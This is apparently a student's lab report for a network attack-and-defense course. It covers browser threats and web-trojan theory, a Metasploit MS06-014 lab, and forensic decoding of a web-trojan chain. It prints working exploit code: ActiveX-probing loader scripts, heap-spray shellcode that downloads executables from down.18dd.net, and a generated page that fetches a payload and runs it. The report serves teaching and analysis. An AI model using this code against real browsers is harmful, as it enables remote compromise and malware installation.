20211904 2021-2022-2 《网络攻防实践》第十一次作业
1.1 Web浏览器的技术发展与安全威胁
1.1.1现代Web浏览器的基本结构与机理
浏览器的主要组件包括：
1. 用户界面：地址栏、书签、收藏夹、后退/前进按钮、搜索框等
2. 浏览器引擎：查询及操作渲染引擎的接口
3. 渲染引擎：处理并显示请求的内容
4. 网络：完成网络调用
5. UI后端：绘制对话框或者提示栏等基本组件
6. JS解释器：解释并执行JS代码
7. 数据存储：浏览器需保存类似cookie或者session等各种数据
1.1.2 Web浏览的安全问题与威胁
早期的浏览器只是用来阅读由HTML语言编写的文档的工具，对网络并没有构成很大的威胁。随着新技术的不断发展，通过浏览器运行软件已成为可能，特别是随着脚本语言如JavaScipt、VBScript,以及Java Applet和ActiveX控件在网上的广泛使用以及在这个领域逐渐成为标准，使得这些能与HTML捆绑的脚本语言和可移动代码日益受到关注。这些技术上的新突破使得各种代码能在网上进行传输并在远程计算机上执行，这些新技术一方面增强了浏览器的功能，丰富了网上资源，但另一方面也带来了新的安全问题，一些恶意程序如ActiveX控件及Java Applet等可以通过浏览器威胁网络和用户的安全。当前通过浏览器对网络进行的攻击和破坏活动已经成为影响网络安全的一个重要因素。根据威胁对浏览器客户端构成危害的原因，可以把当前与浏览器相关的安全威胁归纳为以下主要的四大类：恶意移动代码（如Java Applet、ActiveX控件及脚本等）、HTTP协议缺陷、不安全的Cookie和浏览器自身存在的安全问题。
1.移动代码的安全问题
移动代码是这样的一些代码：在生命周期内可以在网上进行传播并在目标机中运行，移动代码可以在多个平台上运行（如Unix和Win32)移动代码的安全问题主要是移动代码在用户系统上运行所造成的安全问题，这主要指来自网上的恶意代码在本地运行，对本地系统造成危害。移动代码通过浏览器入侵到远程目标机中进行的非法活动主要有：消耗目标机的系统资源、非法读取用户文件、执行任意代码和进行Wb欺骗等。目前这些非法活动主要是出嵌入HTML文档中的恶意的移动代码
造成的，如恶意的Java Applet、ActiveX控件和脚本等。
2.HTTP协议存在的缺陷
HTTP协议是WWW上管理数据传送的协议，服务器及浏览器均采用HTTP协议进行Internet上的超媒体(Web文档)传输。
HTTP是明文文本协议，所以网络用户可以通过分析获得明文，而且恶意用户可以获得网上传输的信息。例如用户在传送个人信用卡号和密码时，可能被恶意用户窃取，从而对浏览器用户构成很大的威胁。另外，HTTP协议的安全机制还不完善，在网络传输过程中，用户的机密和敏感信息容易遭到非法窃取、泄漏和篡改。
3.Cookie机制存在的安全问题
C0okie是浏览器存储在用户硬盘上的文本信息，其中包含了用户使用浏览器的重要信
息。由于C0okie的内容是任意的，故其中可能包含与用户有关的敏感信息，例如信用卡
号、用户名、口令或其他个人信息等。应用程序若在未加密的连接中发送敏感信息，就易
被偷窃：存于客户端的Cookie也可能会将敏感信息泄露给客户的其他用户（或入侵者）。
4.浏览器软件自身漏洞
同所有软件一样，浏览器作为客户端程序，也有其自身的缺陷，它们为浏览器客户端带来了安全问题。例如，微软的IE和网景Netscape在浏览器市场占据着绝大多数的比例，但据去年专家统计IE4.0的漏洞有41个之多，IE5.0也有不下10个的漏洞。利用这些漏洞，网上的非法用户可以对他人系统进行破环，如一个非法用户可以通过IE的漏洞读取或修改其它用户的系统资源如文件等，也可利用恶意的Java Applet或ActiveX控件对用户系统进行非法操作等。
1.1.3 网页木马简介
网页木马是广义木马中的一种，网页木马简单的说是嵌入在网页中的一段HTML、JS、CSS或Applet等代码。攻击者主要通过浏览器或者其他软件的一些漏洞把原生型木马下载到受攻击者主机，并利用各种手段让木马在受害机上运行起来，以达到攻击的目的。真正起作用的是原生型木马，但没有网页木马这些恶意代码嵌入在网页中，则测原生型木马也无法下载到受害机上，攻击也就无从说起。
网页木马是隐藏在网页中的木马，当有人访问含有网页木马的网页时，网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马服务端下载到访问者的电脑上并通过一定的技术让这些程序自动执行。当这些程序运行时，就会获取系统的整个控制权限，攻击者可以使用木马客户端远程控制别人的电脑，窃取各种账号密码信息等。把木马嵌入到正常网页中的行为俗称“【挂马】”。网页木马实质是指网络攻击者利用浏览器或浏览器的外挂程序（目标通常是IE浏览器和ActiveX程序)的漏洞，在网页中夹带木马程序链接，制作出恶意的木马网页，或者利用系统漏洞，通过构造出特殊代码的网页，发布到网站上；网络用户在浏览该网页时，木马程序、病毒、密码盗取等恶意程序会随网页一并下载到用户机器，并在后台运行木马程序，造成系统溢出并打开某个端口，被攻击者控制机器。网页木马的实质并不是木马程序或病毒本身，应该称为木马“种植器”。网页木马大致可以分为2类：系统漏洞网页木马和软件漏洞网页木马。
(1)系统漏洞网页木马。
指利用各种系统漏洞或内置组件漏洞制作的网页木马。有OBJECT对象漏洞木马、MIME漏洞网页木马和ActiveX:漏洞木马。其中MIME漏洞网页木马虽然到现在还流行，但基本上没什么影响，一般系统该打的补丁都已打上。利用ActiveX漏洞的网页木马，网络恶意者利用较多，因为该类木马可以结合WSH及S0控件，利用价值非常高，甚至可以避T网络防火墙的报警。同样，利用OBJECT对象漏洞的网页木马，也可以结合WSH及SO控件，危险程度很高，非常具有攻击性。
(2)软件漏洞网页木马。
指利用软件的漏洞来制作的网页木马。通常网络用户的有关软件升级并不及时，该类软件出于存在漏洞常被木马入侵，并进一步危及系统乃至整个局域网。如网上的一些搜索工具、下载工具、视频软件、阅读工具都曾被网页木马利用。
1.1.4 网页木马的攻击原理
网页木马实际上是一个HTML网页，与其他网页不同的是该网页是网络恶意者精心制作的，用户一旦访问了该网页就会中木马。因为嵌入在这个网页中的脚本恰如其分地利用了E浏览器、系统或软件的漏洞，让在后台自动下载放置在网络空间上的木马并运行（安装）这个木马，整个过程都在后台运行。用户一旦打开这个网页，下载过程和运行（安装）过程就自动丌始。打开一个网页，浏览器不会自动下载程序和运行程序，这是因为，为了安全，浏览器是禁止自动下载程序特别是运行程序的，但是，浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。
2.实践过程
2.1 web浏览器渗透攻击
任务：使用攻击机和Windows靶机进行浏览器渗透攻击实验，体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤：
1. 选择使用Metasploit中的MS06-014渗透攻击模块
2. 选择PAYLOAD为任意远程Shell连接
3. 设置服务器地址和URL参数，运行exploit，构造出恶意网页木马脚本
4. 在靶机环境中启动浏览器，验证与服务器的连通性，并访问而已网页木马脚本URL
5. 在攻击机的Metasploit软件中查看渗透攻击状态，并通过成功渗透攻击后建立起的远程控制会话SESSION，在靶机上远程执行命令
2.1.1 本次实践环境配置
| 名称 | IP地址 | |
|---|---|---|
| 攻击机 | Kali | 192.168.245.128 |
| 靶机 | Win2kServer | 192.168.245.125 |
2.1.2 选择使用Metasploit中的MS06-014渗透攻击模块
通过search指令查找我们需要的MS06-014渗透攻击模块
找到之后使用这个模块
设置PAYLOAD为任意远程Shell连接
设置服务器地址和URL参数，运行exploit，构造出恶意网页木马脚本
在靶机的浏览器中输入网址 http://192.168.245.128:8080/zxN9WLmVNNiI04 浏览器此时返回一串字符串，此时我们查看攻击机，会发现已经建立会话。
通过指令 session -i 1 进入已经会话session 1，可以发现会话建立是成功的。
2.2 取证分析实践—网页木马攻击场景分析
实践过程：
1. 首先你应该访问start.html，在这个文件中给出了new09.htm的地址。
2. 在进入 htm 后，每解密出一个文件地址，请对其作 32 位 MD5 散列，以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值 下去下载对应的文件(注意:文件名中的英文字母为小写，且没有扩展名)，即为解密出的地址对应的文件。
3. 如果解密出的地址给出的是网页或脚本文件，请继续解密。
4. 如果解密出的地址是二进制程序文件，请进行静态反汇编或动态调试。
5. 重复以上过程直到这些文件被全部分析完成。
2.2.1 首先你应该访问start.html，在这个文件中给出了new09.htm的地址
由于这个文件已经gg，只能通过云班课上给的PDF文件查看，直接在里面搜索 new09.htm
可以找到两处，其中 start.html中引用 new09.htm时没有使用绝对路径，说明两者在同一目录下。
可以看到 new09.htm 文件中，用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件， 又用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件。
分别对这两个链接做MD5散列
2.2.2 在进入 htm 后，每解密出一个文件地址，请对其作 32 位 MD5 散列，以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值 下去下载对应的文件
拿到哈希值后，以散列值为文件名去下载对应的文件
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3 http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
当然这肯定寄下载不了，我们就假装下载成功了，拿到了两个文件
使用记事本打开
前者显然不是我们所想要的内容，后者才是，将其打开。 它的内容看起来很复杂，但实际上这是一种被称为 XXTEA+Base64 的加密方法，对付这种加密的方法，我们只要找到它的加密密钥就可以。注意上面的倒数第三行，即：
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
xxtea_decrypt 函数的第二个参数就是密钥。不过只是简单地使用了 16 进制加密，转换一下，密钥是“script”。
访问https://cycy.sourceforge.io/xxtea/输入秘钥密钥 script ，将文件中的全部内容放到文本框中，点击“解密”，就可以得到了十六进制加密。再对引号中的内容进行解密，保存得到的结果。
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/1.js></script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
可以看到这个文件利用到的应用程序漏洞有：微软数据库访问对象漏洞Adodb.Stream、暴风影音漏洞MPS.StormPlayer、PPStream的漏洞POWERPLAYER.PowerPlayerCtrl.1和百度搜霸的漏洞BaiduBar.Tool， 这个文件还引用三个 js 文件和一个 压缩包(bd.cab，解开后是 bd.exe)。
2.2.3 如果解密出的地址给出的是网页或脚本文件，请继续解密
以上文件给出的网页链接有
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
和上面一样，分别作MD5散列
构造下载链接，下载对应的文件
首先看http://aa.18dd.net/aa/1.js 对应的文件，发现也是16进制加密的结果，进行解密
这个文件前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件，后面部分是对 ADODB 漏洞的继续利用。
继续看http://aa.18dd.net/aa/b.js 对应的文件，虽然看起来很复杂，但是开头的6个函数的参数提示这其实这也是一种加密方法：packed，使用工具解密后的结果如下：
var bigblock=unescape("%u9090%u9090");var headersize=20;var 【shellcode】=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u63【2f】%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud【2f】f%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u【2f】3a%u64【2f】%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62【2f】%u【2f】62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)
在里面发现了 shellcode 关键字，一般而言，shellcode 都不长，要实现很多破坏，不可能把所有的攻击都写在里面，所以 shellcode 有可能是下载器。对于一个下载器来说，必不可少的一项内容就是要下载的内容的 URL，我们不妨找找这加密的代码里有 URL 特征的字符串，因为URL里面必然含有/（ASCII 编码中是 2f），所以在上面的结果中找 2f，发现共有 6 处，但是后4处比较可疑，因为两个 2f 比较密集。于是我们取从第3个 2f 开始到末尾的内容进行解密，结果是：http://down.18dd.net/bb/bf.exe
0x74,0x68, 0x70,0x74, 0x2f,0x3a, 0x64,0x2f, 0x77,0x6f, 0x2e,0x6e, 0x38,0x31, 0x64,0x64, 0x6e,0x2e, 0x74,0x65, 0x62,0x2f, 0x2f,0x62, 0x66,0x62, 0x65,0x2e, 0x65,0x78, 0x00,0x00
记得前后倒过来噢~
继续看http://aa.18dd.net/aa/pps.js 对应的文件，发现是8进制加密的结果，进行解密
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
和前一个文件一样的做法，找2f确定链接：http://down.18dd.net/bb/pps.exe
2.2.4 如果解密出的地址是二进制程序文件，请进行静态反汇编或动态调试
综上我们一共得到了四个可执行文件 014.exe bf.exe pps.exe bd.exe 继续构造链接进行下载
http://192.168.68.253/scom/hashed/ca4e4a1730b0f69a9b94393d9443b979
http://192.168.68.253/scom/hashed/268cbd59fbed235f6cf6b41b92b03f8e
http://192.168.68.253/scom/hashed/ff59b3b8961f502289c1b4df8c37e2a4
下载后发现这四个文件的大小一致，对文件进行md5散列发现结果也一致，说明这四个文件是一致的，只要分析其中一个就可以了。
打开winXPAttacker上的PEiD 工具分析 pps.exe ，发现是使用Delphi编写的GUI程序
用 W32DAsm 反汇编这个可执行文件，然后查看一下 串式参考
可以通过字符串 goto try，try，Alletdel.bat，cmd /c date ，cmd /c date 1981-01-12，del ，del %0，if exist，猜测这个程序可能生成批处理文件 Alletdel.bat ，这个文件中有一个标签叫try，批处理文件会不断的执行这个标签判断文件是否存在，进而更改系统日期，删除某些文件。 由:\AutoRun.inf，[AutoRun] open=，AutoRun.inf，shell\Auto\command=，猜测这个程序可能在磁盘根目录下生成自动运行的文件，在用户不知情的情况下启动。
可以通过字符串advapi32.dll，drivers/klif.sys，\program files\internet explorer\IEXPLORE.EXE，IE执行保护，IEXPLORE.EXE，Software\Microsoft\Windows\CurrentVersion\Poli，Kernel32.dll，SOFTWARE\Borland\Delphi\RTL，ChangeServiceConfig2A，ChangeServiceConfig2W，QueryServiceConfig2A，QueryServiceConfig2W 猜测程序可能会修改IE、注册表、服务等。 通过 瑞星卡卡上网安全助手 - IE防漏墙，允许，允许执行，这些字符串可知这个程序有一定防止安全软件查杀的能力。 通过20个形如 http://down.18dd.net/kl/XX.exe 的字符串猜测程序要下载大量木马。
2.2.5 重复以上过程直到这些文件被全部分析完成
至此，已经全部分析完成
2.3 攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码，并进行混淆处理之后组装成一个URL，通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态，并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
攻击过程如实践一所示不再赘述，在攻击机 Kali 上使用 Wireshark 捕获发起攻击时的数据包
在靶机浏览器输入链接后，返回攻击机查看攻击机向靶机发送的数据包内容
在靶机上查看源文件，发现是有很多间隔的字符串
将空白删掉之后得到的代码如下所示
<html>
<head>
<title></title>
<script language="javascript">function yMDzCNrApxQKqmmRKz(o, n) {
var r = null;
try {
eval("r=o.CreateObject(n)")
} catch(e) {}
if (!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.CreateObject(n,'','')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject('',n)")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n)")
} catch(e) {}
}
return (r)
}
function OlFuUSAXr(a) {
var s = yMDzCNrApxQKqmmRKz(a, "WScript.Shell");
var o = yMDzCNrApxQKqmmRKz(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\ghoNp0de.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch(e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function NaRLRXr() {
var i =